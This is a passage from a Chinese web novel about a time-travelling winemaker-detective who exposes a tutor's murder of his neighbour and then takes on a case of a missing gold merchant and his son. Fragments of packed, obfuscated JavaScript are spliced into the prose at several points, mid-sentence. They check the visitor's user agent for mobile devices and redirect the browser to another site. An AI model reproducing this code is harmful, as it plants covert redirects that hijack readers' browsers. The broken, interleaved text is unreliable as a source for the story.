l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15837565|175702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸩儿看病。 想不到大哥还真是个多情种子,善解人意。 “要说你大哥也是一个好人,和鸩儿也是登对。唉,只是可惜呀,两个人有缘无份。”李斌继续八卦的说着。 苗景岚顺着他的话说:“听你这意思,你对鸩儿……” “嘿嘿嘿,苗姑娘误会了。我虽和她们是邻居,也顶多是点头之交而已。倒是那王婆,生性浪荡,水性扬花,喜欢跟县里面的年轻男子不清不楚。” 苗景岚睁大眼睛,听着这位看似斯文的教书先生嘴里面吐出来的虎狼之词。 没想到这个李斌除了教书之外,还这样喜欢聊八卦。 “起初只是一两个,后来一个月就要换一个。这女人都是做婆婆的人了,还是这样的不检点。明明在外面招蜂引蝶,偏偏还要来招惹我。为了来勾搭我,三天两头的给我送来好酒好菜,哄我做他的粉头。我知道她有钱,平常想她接济一二,她嘴上说得好听,不急着要我还,没想到私下里全记在帐上。” “我原本是想借二两银子回老家省亲,等有钱再还给她。没想到她一点儿情面也不讲,明明是二两银子的帐,偏偏要算我五两银子。我全身上下也凑不出这么多银两,那女人居然盯上了我这祖屋。还说把这宅子拆了,和她家的宅子并成一间店铺,以后专门做成衣生意。” “还出言讽刺我,以后别再教书了,直接搬过来做她的粉头,以后直接供给我好吃好喝。我呸,一个糟老婆子而已,我是囊中羞涩、偶尔寂寞才会想和她春风一度,她倒是登鼻子上眼,也不看看自己什么货色。” 苗景岚听到这里,不由的身体一僵,感觉自己听到了什么可怕的东西。 李斌转过脸来,还是那张斯文又白净的脸,此刻却像是裹上一层阴暗之色,整个人都变得面目可憎起来。 “所以,是你……杀了王婆?”苗景岚站起身来,脚却不自觉的踉跄一下。 “对,是**的。”李斌一脸阴笑,“你知道也晚了,就留下来陪她吧。” …… 第29章 米酒(11) 苗景岚想要反抗,但是李斌刚刚给他喝的那杯茶里面放了**,让她此刻昏昏欲睡。 李斌见状,想要趁机对苗景岚下手。 反正都是要死的人,与其这样白白死去,不如先快活一番。 可是没想到,贾仁突然闯进来,打断李斌的行动。 “好你个大胆狂徒,居然光天化日行凶,吃我一拳!” 话音未落,贾仁的拳头硬生生的朝李斌挥过来。 可是,李斌居然灵巧的躲过去。 而且还借着刚才的力道,李斌一把手反抓住贾仁的拳头。 使劲一拧。 “哎哟!”我们身娇肉贵的贾公子哪里受过这样的罪。 被人抓住手腕狠狠一拧,力道就被卸下来,反过来自己的手腕还受伤。 同样都是不擅长武力的书生公子,李斌长在市井之间,在没当教书先生也干过田间的农活,自然比长在富贵家庭的贾仁力气要大得多。 狠毒的李斌一脚踹开贾仁,从桌子底下抽出一把尖刀,对贾仁说:“既然你想英雄救美,就陪她一块**吧!” 说是迟,那是快。 就在那把尖刀快要刺进贾仁的胸膛时,贾仁看向李斌的身后,脸上的表情一松:“你终于来了!” 李斌以为贾仁在诳骗自己,冷哼一声:“少废话,今天你们必须死在这里!没有人会来救……” 他的话还没有说完,身后有一人就用茶壶从他的头顶狠狠砸过来。 顿时,李斌的脑袋上茶水、血水混成一团,分外的好看。 然后,李斌就倒地不起。 贾仁看到醒过来的苗景岚,语气里面有一丝抱怨:“我就知道你没有晕过去,偏偏要等我受伤之后才出手。” 苗景岚没有察觉出来贾仁是在向自己撒娇,“谁要你自不量力,明明知道自己敌不过别人,还要硬着头皮上!” “我这不是为了救你吗?”贾仁的声音里面带着几分委屈。 接下来的事情就好办了,苗景岚叫来了刑捕头,带走了李斌。 并且还从李斌的房间里面搜到几张银票,还有王婆家里的一些首饰。 看样子这个李斌不但好色,还十分贪财。 在重重的证据面前,容不得李斌抵赖。 最后,李斌主动交待自己常年和王婆苟且,因为王婆水性扬花的性子让他心生怨恨。 同时,李斌向王婆借银两,却被逼借了**。 这些加在一起,让李斌对王婆怀恨在心,起了杀念。 那天,李斌偷听到鸩儿要夜会情郎,便趁王婆不在潜入房间,找到帐簿想要撕毁自己的那一页。 没想到被中途返回来的王婆发现,两个人争吵扭打起来。 最后,李斌失手杀死王婆,并且把人丢到浆洗池里。 这就是整个案件的经过。 在李斌签字画押之后,鸩儿和苗景明也被侯县令释放。 这一对苦命鸳鸯终于可以脱离苦海,但是等待他们的日子并不轻松。 黎县是一个古代的小县城,那里的百姓多半还是处于愚昧无知的境地。 对鸩儿和苗景明这种私自交往并且私定终身的行为很是不理解,并且视为大逆不道的无耻行为。 他们两个人一从县衙走出来,就有不少人朝他们吐口水和丢烂菜叶子。 要不是苗景岚拦着,只怕一些胆大的人还要冲上前来揍他们。 这一路上,鸩儿和苗景明都低低的垂下头,仿佛自己真做错什么事。 苗景岚把他们带到明岚酒坊。 酒坊还在歇业中,苗景岚做了一桌子好菜,打算给这两人好好接接风,去去晦气。 没想到贾仁这个厚脸皮也坐在这里,手腕上还缠着布带,被两块竹片固定着,整个人一幅老神在在的模样。 “我说今天是我家人聚餐,你偏偏坐在这里做什么?”苗景岚不悦的看向贾仁。 贾仁抬抬手,一幅理所当然的口吻,“我可是因为你才受的伤。” “因为我?我当时叫你来救我了吗?” “我这不是怕你吃亏吗?” “我能吃亏?你不出现,我才不会吃亏呢。” “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15837566|175702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可是你的救命恩人。”你怎么能如此待我? 苗景岚冷笑一声,“你救我?真是一个笑话!” …… 苗景明见他们两人吵起来,不由做起和事佬:“你们两个不要吵了,贾公子是店里的客人,又几次帮过我们。阿岚,你就不要计较了,让贾公子随我们一块吃饭吧。” 见大哥这样说,苗景岚也不再吭声。 贾仁不由得意一笑,故意朝苗景岚扬一扬受伤的手,有一种得意的猖狂。 苗景岚白了对方一眼,心说,真是一个大龄弱智儿童。 贾仁不知道苗景岚心中所想,拿起筷子吃得欢快。 “大哥,你和鸩儿姑娘什么时候完婚?” 鸩儿小脸儿一红,满脸的羞涩。 苗景岚看了鸩儿一眼,想起从县衙回到家中,这一路上乡亲们的白眼和唾弃,不由悠悠的叹一口气。 “这事先不急吧。如今鸩儿的婆婆刚死,丧事还没有办,等事情先办完,再想其他。”苗景明沉闷的喝上一口酒,心中郁闷无比。 鸩儿沉默片刻,小声的说:“我想先跟婆婆守灵,等三年丧期已过,再做其他的打算。” 苗景岚一听,不由炸毛:“我说你们两个,还真的要为一个**葬送自己的一生?那王婆已死,没有谁再阻碍你们的婚事,你们既然情投意合,又为什么要把婚事一拖再拖?” “难道你没听见这一路上乡亲们的风言风语吗?人言可畏呀。”苗景明想起那些长舌妇的毒舌就觉得心寒。 “我是一个不祥之人,不想拖累景明哥。”鸩儿不由抽泣起来。 苗景明安慰鸩儿,“这不赖你,也怪我当年太软弱,没有早一些向你家里提亲,才让你落得如此田地。” “我说你们两个,都是这样有情有意。为什么就没有想过把酒坊开到别处去,然后重新来过?”一直在喝酒吃肉的贾仁,听他们说了半天的话,突然开始发表自己的想法。 众人一听,不由一愣,觉得贾公子的想法太过另类。 可是,苗景岚却觉得贾仁的想法很合乎实际…… 第30章 汾酒(1) 苗景明一听这话,觉得有些尴尬:“贾公子说笑了,这酒坊是我家祖传生意,我和妹妹拼尽全力才好不容易维持着。若是到外地,人生地不熟,一切又要从头做起,谈何容易?” “难道为了心中所爱,苗老板做点儿牺牲都不肯吗?”贾仁在眼中对苗景明流露出一丝鄙视。 “如果换作是我,就算是前途未卜,也要带着心爱之人硬闯出一条血路来,这才不为顶天立地的男子。我看苗老板也是一个不错的人,与其被这些无知百姓指指点点,不如跟这些**闹一场,看看谁还敢对苗老板指手画脚?嘴上说着不想让鸩儿难过,实际上什么也没做,苗老板你应该不会这样懦弱?” 苗景岚不知道贾仁为什么要这样唆使苗景明,但他刚刚所说的话恰恰代表自己的心声。 以前一直认为他是一个游手好闲的纨绔,没想到某些思想居然与自己同频。 苗景岚的心里面不由有些蠢蠢欲动。 难道他也跟自己一样,也是一个穿越者? “你不要逼景明哥了,我和他都不想离开黎县。我们从小在这里长大,离开这里日子过不习惯。就算被乡亲们指指点点又如何,我确实是一个寡妇,又确实跟景明哥不清不楚,是我们有错在先。现在婆婆又**,他们自然有话说。这小地方的人就是这样,喜欢嚼舌根,时间长了,把事情淡忘了,也就没什么好说的了。” “我先给婆婆守孝三年,若是景明哥愿意等我,三年后我们便成亲。若是不肯,我也没有什么好埋怨。”鸩儿擦擦泪,小声的说着。 苗景明喜出望外,“我愿意等,我愿意等。鸩儿,就是等你一辈子我也愿意。” 苗景岚看着这两个人无语。 明明两个人情投意合,偏偏要为一些莫名其妙的事情而影响自己,这恐怕就是自己和古代人的不同吧。 既然他们都已经做了决定,苗景岚也没有再参与。 都是成年人,自己的人生自己决定。 鸩儿回去之后,开始操办起婆婆的丧事。 而明岚酒坊则重新开业,虽然因为上个案子的关系,生意有些清淡,但总算重新回到原先生活的轨道上。 苗景明天天不吭不哈,埋头酿酒。 苗景岚则时不时的到店里帮忙,并且向哥哥学习酿酒的技巧。 只是那个讨厌鬼贾公子似乎想讹上苗家,天天跑到明岚酒坊骗吃骗喝。 苗景岚骂过他好几句,他却像一条赖皮狗一样赖着不走。 每回说他,总是一句,“你就是这样对待恩公的?” 气得苗景岚分分钟想暴走,挥起拳头就想把家伙狠狠揍一顿。 苗景明却总是做起和事佬,同为男人,他或许看得出来贾公子对妹妹的一番心意。 只是妹妹年纪尚小,偏偏摔坏脑子之后生出一幅男儿的脾气,若不是有那个心思,他一个京城来的富贵公子,何必要厚着脸皮跑到这小小酒坊里赖上苗景岚。 或许过些年,两个人才会生出一些情分来。 “终归是多一双筷子而已,阿岚呀,你就不要跟贾公子过不去了。” 只有小伙计二黑专心看着八卦,觉得他跟的两个东家都是了不起的人物。 每一个都很有故事呢。 这一天,日上三竿。 不出意外的,贾仁又跑到明岚酒坊蹭饭吃。 苗景岚依旧没看贾仁好脸色,“饭桶公子,你又来了?” 贾仁脸上没有任何的尴尬,反而四仰八叉的坐下来,一幅‘我是大爷,你能奈我何’的样子。 还对着苗景岚说了一句这样的话,“唉,你是没在京城呀。若是你在京城敢这样跟我说话,估计已经被官差带走准备午门问斩了。” 苗景岚当然也不是吃素的,直接开怼:“哟,您来头这么大呀?那你可千万别来我这小酒坊,免得这庙门太小供不起你这尊大菩萨。” “苗姑娘,要知道我的手可是因为你才受的伤。这么多天,连饭都吃不好,你难道良心就没有一点愧疚吗?”贾仁突然换过一幅可怜兮兮的语气。 “呵呵,不好意思,没有。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15837567|175702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那你真是铁石心肠。你看看,因为手受伤,我连面条都吃不好。”贾仁故意哆嗦着手去用筷子夹面条。 “你这是帕金森,还是老年痴呆?”苗景岚忽然想起现代常用的一个梗。 贾仁却一脸愕然,“什么是帕金森和老年痴呆?” 一听这话,苗景岚不由有些失望。 之前听他对苗景明和鸩儿讲的话,颇有点儿现代人的想法。 本想试探一下他是不是也是一个穿越者,可结果不是。 “没什么。你的把戏已经被我看穿了,我明明昨天看到你受伤的还是右手,怎么今天就变成左手?难不成你这伤口还会转移?”苗景岚打趣对方。 “唉,苗姑娘,你记错了。”贾大公子继续没脸没皮。 “就算你那只手受伤了,换另一只手吃饭不正好吗?” “我是左撇子。” “哼,难不成你还想要我喂你不成?” “若是这样,贾某一定感激姑娘的大恩大德。” 苗景岚终于忍不住了,这泼皮无赖简直无耻透底。 只见她朝对方冷笑一声,隔着一两米远都能感觉得到苗景岚身上的阵阵寒气。 “呵呵,好好,你要我喂你吃是吧?不如我把你的另一只手也弄折了,让你左右开弓,一块儿到大夫那里换竹片,如何?” 贾仁下意识的感觉到苗景岚的语气不善,再感觉一下她周身散发出来的寒气,觉得自己惹**了这只小野猫。 他本能的站起身来,觉得今天的玩笑开大了。 咧开嘴来,也朝苗景岚笑一声,“嘿嘿嘿,苗姑娘,我看你们这里今天的伙食不怎么样,就不到这里吃饭了。其实我今天来,是想请你来吃饭?” “哦,原来贾公子除了骗吃骗喝之外,也会请别人吃饭。” “瞧你这话说的,我刚来的时候不是经常请客吗?其实不光是吃饭,是我有一位朋友很想见见你。” “什么?你的朋友想见我?” 苗景岚觉得这里面有猫腻…… 第31章 汾酒(2) 你的朋友? 你这家伙在黎县还有朋友? “你的朋友,我没兴趣认识。”苗景岚说完,转身用抹布擦起桌子。 一幅要赶人的样子。 “别介呀,我这朋友可非常想认识你。她说‘想不到在这小小的黎县,还会有这样的奇女子。’很想与你结交呢。” “贾公子,我对你没兴趣,对你的朋友更没兴趣。你要是不喝酒的话,就请回吧。”苗景岚直接下起逐客令。 贾仁抬起受伤的胳膊,依旧不死心。 “二黑,送客。” 小伙计二黑听到二东家的吩咐,果然拿起扫把开始赶人。 等贾仁走远,苗景明才从里面走出来,“小妹,我看人家贾公子不错,你真要做得这么绝吗?” “大哥,你说什么呀?” 明明是这家伙老是找上门来骗吃骗喝,还赖上自己一起探案子,怎么变成自己做事做得绝。 苗景明看着还没回过神的妹妹,从心底叹口气,“现在能找一个真心对待别人的。贾公子家境富裕,之前曾经花十几两银子买下你酿的米酒,如今人家只是因为受伤才来这里吃几顿饭,哪来骗吃骗喝一说。你呀,什么时候才能看明白。” “大哥,我的事情你就不用管了,还是去看看鸩儿吧。” 你自己的事情都没有拎清楚呢,就不要哪壶不开提哪壶吧。 苗景明摇摇头,走开了。 到了下午,苗景岚独自来到河边。 她好像没有练拳了,想找一个无人的地方练一练。 她先是把跆拳道的几个基本动作每个练了五十遍,之后又把以前学过的一套太极拳练过一遍。 之后,她出了一身细汗,却觉得整个人通畅许多。 在前世,她几乎隔三差五就要去练一练。 可自从穿越到这个世界之后,她每天忙着案子,很少有时间专心练拳。 练完拳之后,苗景岚正打算回家。 没想到半路上突然出现一辆马车,马车在苗景岚的身边停下来。 车窗上的帘子被人掀起,一位富家小姐笑意吟吟的问道:“请问是明岚酒坊的苗姑娘吗?” 苗景岚的脚步一顿,转过头看向那女子,“你认得我?” “黎县连破三个案子的酿酒师,试问黎县谁能不晓?” 那女人梳着新式的发髻,头上插着珠钗,桃花般的容颜配上甜美的笑容。 好一个与黎县完全不同的美娇娘。 “你找我有什么事情?”苗景岚不喜欢陌生人打探自己。 “我从远道而来,想请姑娘喝杯水酒。” 苗景岚想也不想的就拒绝,“不必。我家世代酿酒,要喝酒天天都能喝,不需要你请。” 说完,她头也不回的就要走。 “等等,姑娘。我知道你有大本领,想请你帮一个忙,只要姑娘答应,小女子愿意给予重谢。我知道姑娘一心想帮家里壮大酒坊,我这里有好几坛从京城酒楼带来的佳酿,姑娘可以请自品尝一下。只要姑娘答应帮我办事,我可以为姑娘弄到这些佳酿的秘方。” 苗景岚用狐疑的目光打量对方,那女子不过十七、八岁的年龄,却有一种超越同龄女子的睿智与成熟。 看得出来,是大户人家里面调教出来的。 只是苗景岚好奇,这样一个出身的女子怎么会到这小县城里来找自己帮忙? “看来你把我打探得很清楚?事先说好,我先听一听,如果帮不了忙,你以后也不要再来找我。” “可以。”那女子点点头,倒不像那个赖上自己的某人。 “苗姑娘,请上车。” 对方招呼一声,苗景岚便迈腿走上马车。 这马车比寻常的马车要更宽敞一些,马车里面像是一个小房间,摆放着茶案、香熏、围棋,角落里还铺着一张小床,摆放着一盒点心。 这样的马车,恐怕在京城也是少有吧。 苗景岚不由在心里面有些发酸,这城里的人生活就是奢侈呀。 刚才在下面还没有仔细看清,坐上马车之后看到那名女子穿着浅蓝色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15837568|175702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的用昂贵料子做的裙袍,裙摆上还镶嵌着一颗颗龙眼大小的珍珠,腰间还用红宝石镶金线做成的腰带。 身上还散发着淡淡的清香,那是胭脂铺里最贵的脂粉,连天香园里的花魁也用不起。 她浑身散发着富得流油的气息,可当你看到她那一张带着几分天真烂漫的脸时,却觉得一切理所当然。 这个女人究竟是谁? 看她脸生,应该不是本地人。 最最重要的是,她来到这穷乡僻壤的黎县找上自己是为什么? 带着一肚子的疑问,苗景岚走上马车,并且在那名女子的对面坐下。 “苗姑娘,我叫元心兰,来自汾城。” “汾城元家?那个前朝发现金矿的元家?” “正是。苗姑娘还真是见多识广。” “呵呵,不是我见多识广,只是汾城元家有几个不知道的?你们家祖上发现金矿,上表朝廷,得先帝嘉奖,让你们做黄金生意。如今京城上供的黄金,有一半出自你们元家,想要不知道都难。”苗景岚酸溜溜的回答。 “我们家是受祖宗庇护,但如今黄金生意是越来越难做。我们早就被挤出京城,如今只在汾城经营一二。” “那你们也算是汾城数一数二的大户,只是不知道身在汾城的元姑娘如何会知道我,又怎么会跑来叫我帮忙?在下不过是一介酿酒师,技艺也不算精湛,元姑娘如何会找上我?”苗景岚觉得这里面有很多的秘密,正因为如此,她才决定坐上这名女子的马车。 “前一阵子,小女家中突然发生变故,家里又举目无亲,万般无奈之下,想起寻找小女幼年时在京城的好友,想请他来帮忙。可是,他却向我说起你的事情,小女心中好奇,天下居然有如此的奇女子,想来黎县见识见识,所以这才冒昧登门。” “我算什么奇女子?元姑娘,你可不要挖苦我。” “你不是官差,却连破三桩奇案,这都不算奇女子谁算?”元心兰脱口而出。 苗景岚不由心中好奇,这个强烈推荐自己的家伙究竟是谁? 第32章 汾酒(3) 吉祥酒楼,黎县最好的酒楼。 平常这家酒楼是人来人往,虽然这里的一壶酒至少要二两银子,一个小菜至少要五钱银子,但黎县的有钱人还是喜欢往这里来送钱。 可是,今天已经到了中午,吉祥酒楼却没有一个客人。 看到元心兰走进来,店小二殷勤的凑上前:“苗姑娘,你来了。楼上的包厢已经准备好,就等您上菜了!” “好。”元心兰应了一声,带着苗景岚就往楼上走,“苗姑娘,请往楼上走。” 来到二楼的包厢,就听到一个熟悉的声音:“兰儿,你真的把她请来了?哈哈哈哈哈……是谁说不跟我来的?” 贾仁那个讨厌鬼,居然出现在这里。 苗景岚瞬间明白过来,“你说的向你推荐我的人就是他吗?” “正是。” “呵呵,贾公子,你还真是会跟我找活儿呀。” 贾仁一脸的痞癞相,“谁叫你神通广大,留在这小小的黎县岂不是可惜?” “苗姑娘,请上座。”兰心元客气的把苗景岚拉到座位上。 “伙计,上菜。” 应该说汾城元家果然是出手阔绰,不仅包下吉祥酒楼一天的场子,还把最后的菜都端上来。 看着一桌子珍馐美食,苗景岚却心有所思。 “元姑娘,你大老远的从汾城跑过来,可是家中遇到什么事情?”苗景岚开门见山的问道。 作为汾城首富家的掌上明珠,如果不是家里面出了了不起的大事,家里人是舍不得让一个待字闺中的女儿跑出来找人帮忙的。 “苗姑娘果然心细如尘,我家里确实是发生大事。事情还要从三个月起讲起,我元家虽经营黄金生意,但人丁单薄,到我这一辈,除了我和我大哥、二哥之外,再也没有其他的孩子。” “我大哥年长,六年前因为意外失足跌下悬崖,我父亲因此病重,家里的生意都交由二哥打理。可三个月前,我二哥去外地经商,却一个多月没有消息。我父亲派人四处打听,也一无所获。一个月前,突然收到一封来信,说有我二哥的消息。” “我父亲思子心切,第二天就带着管家前去,结果到现在也没有消息。我也四处派人打听,甚至到衙门报案,却一无所获。万般无奈之下,想起我曾在京城结识的小王……” “咳咳咳……”话说到这里,贾仁突然咳嗽两声,打断元心兰的话。 元心兰接着说:“哦,是我京城小时候的玩伴……贾公子。可是,到了京城,他们说贾公子正四处云游,如今已到黎县。我便一路来到黎县,总算见到他。贾公子跟我提起你,讲起你的事情,他说‘像这种衙门都解决不了的疑案,只有你能帮忙’,我这才一路找上姑娘,希望你能够帮我。如果找到我父亲和二哥,小女定当报答姑娘。” “你是说,你二哥和你父亲都突然失踪?”苗景岚听完元心兰的描述,整理出事情的关键。 “正是。” “这事有点儿蹊跷,先是你二哥失踪,紧接着你父亲又在收到一封信之后也失踪。那封信在哪里?你带来了吗?” 元心兰摇摇头,“那信被我父亲带在身上,我连看都没有看一眼。” 苗景岚眼中闪过一丝失望,“如果说**你二哥和你父亲的是同一人,那么这一封信可能是关键。偏偏那封信也被带走,事情有些棘手啊。” “你是说,我父亲和我二哥是被人绑了去?”元心兰的声音中带着惊恐。 “这只是我的猜测。他们先带走你的二哥,然后给你父亲写了一封信,想让你的父亲交赎金或是其他的什么要求,你的父亲果真去了。他们把你的父亲和二哥一起绑走,元姑娘,如果不是你出门来找贾仁,恐怕你也会遭毒手。” 听苗景岚这样一说,元姑娘的脸色顿时一变,感觉有些后怕:“你是说……他们也想向我下手。” “元姑娘,这件事情恐怕没有表面上看起来那样简单。你们元家是汾城的大户人家,又世代经营黄金生意,肯定家里面的保镖众多。你二可出门经商,肯定也会带着贴心的保镖一块去,可是,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15837569|175702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可曾听过他们带回什么消息?” 元心兰努力回想起来:“我二哥出门经商,是喜欢带几个放心的下人一块去。至于我父亲,他喜欢带着我们家里的管家,而管家福伯听说当年就是镖局押镖的。” “是呀。既然他们能悄无声息的连你们身边的人都干掉,可见是经过精密的策划和行动,恐怕预谋许久。” 小姑娘不经吓,听苗景岚这样一说,脸色更是变得惨白惨白的。 “那可怎么办?我父亲和二哥是不是再也回不来了?”元心兰几乎要吓得哭起来。 “元姑娘现在倒也不必紧张,一般这种情况,大多凶手出于两种情况:一是为了图财,二是为了报仇。如果是前者的话,他们迟早还会找上你,想从你这里捞取更多的钱财。怕就怕是后面一种情况,你父亲和二哥可曾在外面与人结怨?” 元心兰努力回想一下,“我父亲和二哥从来不向我提及生意上的事情,也未曾跟我讲过家里跟谁结过怨。我们身边的人都对我们挺好的,从未听过谁和我们家有过什么恩怨。” 苗景岚明白过来,原来这就是一个长在大户人家的公主呀。 一辈子生活在温室里的娇贵花草也不一定好,遇到什么可怕的事情恐怕就是灭顶之灾。 “元姑娘先不急,你家的这个案子恐怕没有那么简单,还需要我到汾城仔细调查一番,才能够得出结论。对了,你知道你二哥是去哪里经商吗?” “好像……好像是一个叫做杨家坡的地方。” 杨家坡? 这个地点,苗景岚也略有耳闻。 之前在酒坊听一些酒客天南地北的胡诌,无意中就提起过这个杨家坡。 听说那是一个非常邪门的地方,天南地北的**都喜欢往那里凑。 最早是朝廷关押叛军的地方,后来听说那个叛军头目和上千叛军被处决之后,那里就成了一个阴森森的鬼门关。 一般只有朝廷的通缉犯和一些十恶不赦之人才敢去那里,元心兰的二哥怎么想到去那里? 第33章 汾酒(4) 说到这里,苗景岚扭头看了旁边坐着的贾仁一眼。 苗景岚一个穿越者对“杨家坡”都有了解,作为一个游手好闲又喜欢多管闲事的纨绔,恐怕对于杨家坡知道的更多。 “贾公子,不知道你对‘杨家坡’知道多少?” 没想到贾仁意外的冷着一张脸,“不知道,我什么也不知道。” 苗景岚有些惊讶,这家伙一向都不是喜欢谈天说地,就没有他不知道的吗? 怎么这次提起‘杨家坡’,倒是一反常态。 “那你可知道,杨家坡离黎县有多远?”苗景岚又问道。 可是,贾仁却像是丢了魂一样,眼神黯淡无光。 似乎提到‘杨家坡’,把他的魂给弄没了。 “这个我知道。”元姑娘对苗景岚说,“我在京城曾经听人说起过,当年叛王离京上百里被处决,半路上经过‘杨家坡’,所有人都在‘杨家坡’被砍了头。那里离黎县应该也有上百里,但如果我们走水路的话,应该会快一点。苗姑娘,你是想去‘杨家坡’吗?” “你二哥是在杨家坡失去音信的,自然是要到那里去打探一下。” “可是,你刚才不是说要去我家吗?”元心兰胆子小,听说要去人人谈之色变的‘杨家坡’,还是有些害怕的。 “要想查清楚这个案子,肯定是要去你家一趟的。但是,在去之前,我想到你二哥失踪的地方,看一看那里有没有线索。” 又遇到一个新案子,苗景岚感觉又遇到新的挑战。 她浑身像是打过机油一般,全身的细胞和血管处于亢奋阶段。 以前她就是这样,每当遇上一个棘手的案子,别人本能的是退缩,她却是越战越勇。 以至于在上一世同事们管她叫“办案狂人”。 听说要去杨家坡,金枝玉叶的元心兰有些担心,但一想到同为女子的苗景岚都不害怕,自己这个请求别人帮忙的雇主倒退缩,有些说不过去。 同时,她又为苗景岚的思路清晰和勇敢而暗自佩服。 明明是年龄相仿的女孩子,苗景岚总能看出她看不到的东西,还敢勇敢的去找寻线索,难怪连贾仁那个家伙也很欣赏她。 “贾公子,你可愿意前往?” “我自然是要去的。” “好。那我们明天就启程。” “明天?”贾仁以为自己没有听清,揉一揉耳朵,“这么快吗?” 苗景岚是个做事雷厉风行的人,决定好的事情就马上行动,不喜欢拖泥带水。 况且元姑娘的二哥是三个月前在杨家坡失踪的,越晚过去,所能得到的线索就越有限。 必须越快行动,再有可能获得有价值的线索。 “怎么,你想打退堂鼓?”苗景岚将了贾仁一军。 “怎么可能?我是担心你大哥不让你一个人出门。” “所以,就要请你帮忙呀。”苗景岚朝贾仁诡异的一笑。 贾仁看见,心里一顿。 她刚刚是在对我笑吗? 这好像是认识她之后第一次对我笑,怎么觉得好像里面藏着什么阴谋…… 翌日清晨。 苗景岚背上一个包袱,在明岚酒坊向大哥道别。 苗景明还依依不舍的向妹妹叮嘱:“小妹,你此次前去汾城,记得好好向那酿酒的师傅请教。人家愿意把方子传给你,你便在那里好好学上一阵子;如果人家不愿意,也不要强求,毕竟这也是人家的生计。” “大哥,放心好了,我会见机行事的。” “我如何能放心?你一个姑娘,头一回出远门,又是去拜师学艺……算了,景岚,还是让大哥去好了!”苗景明一幅老父亲的表情。 “大哥,我跟人家汾城的元姑娘都说好了,人家是汾城的首富,家里不缺钱,只想把这汾城的佳酿传于世间。这样难得的机会,你为何不让我去?况且,元姑娘跟贾公子关系甚好。而且,贾公子跟我一块去。你不放心我,还不放心那个贾公子吗?” 说到这里,苗景岚还扭头朝马车旁站着的贾仁和元心兰问了一句:“是吧,贾公子,元姑娘?” 贾仁连连点头,“是是是,苗老板,元姑娘和我家是世交,我亲自带她们过去,不会有事的。” 元心兰的头也点得像是鸡啄米,“对对对,我家就在汾城,苗姑娘去了就住在我家里,我会好好照顾她,不会有事的。” 两个这样说,才打消一些苗景明的顾虑。 “小妹呀,你突然说要出门拜师学艺,大哥也没来得及跟你准备什么,这些银子你就带在身边吧。记得在外面好好照顾自己。” 苗景明从身上掏出几两散碎的银子,想要塞进苗景岚的手中。 可是,苗景岚却没有接。 “大哥,此去汾城,元家包吃包住,不需要我花钱。这钱,你还是留着将来娶媳妇吧,毕竟鸩儿等了你这么多年。” 苗景明一听,感动得几乎要流下两行热泪来。 三个人坐上马车,终于出发。 贾仁用不怀好意的目光打量苗景岚一眼,“呵呵,难怪你昨天说要我来帮忙,原来是想要我来骗你大哥呀。你怎么想到拜师学艺这个借口的?” “别用骗这个词,我只是不想让我大哥担心。再说了,你贾大公子不是经常骗人的吗?骗骗我大哥更是不在话下,这可是你的老本行呀。” “你这是过河拆桥呀。我什么时候骗过你?” “呵呵,你骗我的事情还少吗?” …… 元心兰看他们有一搭没一搭的相互调侃,觉得贾仁什么时候跟别的姑娘关系这样好。 只是以苗姑娘这样的性情,如果有一天知道贾仁的真实身份,跟他说话不知道是否还能这样随意。 “没想到你们关系挺好啊。苗姑娘,放心,我这就叫汾城的下人帮我写一封信,说你在汾城很好。顺带带一箱汾城的佳酿送过来,说老匠师看上你这个徒弟,想留你多待几天,你大哥就不会怀疑和担心了。” “多谢姑娘。” 贾仁打趣道:“哼,还说我是骗子。我看你们两个更会骗人,一个大骗子,一个小骗子。” “苗姑娘,不要理她,我先跟你说说汾城的风情和特色吧。” …… 第34章 汾酒(5) 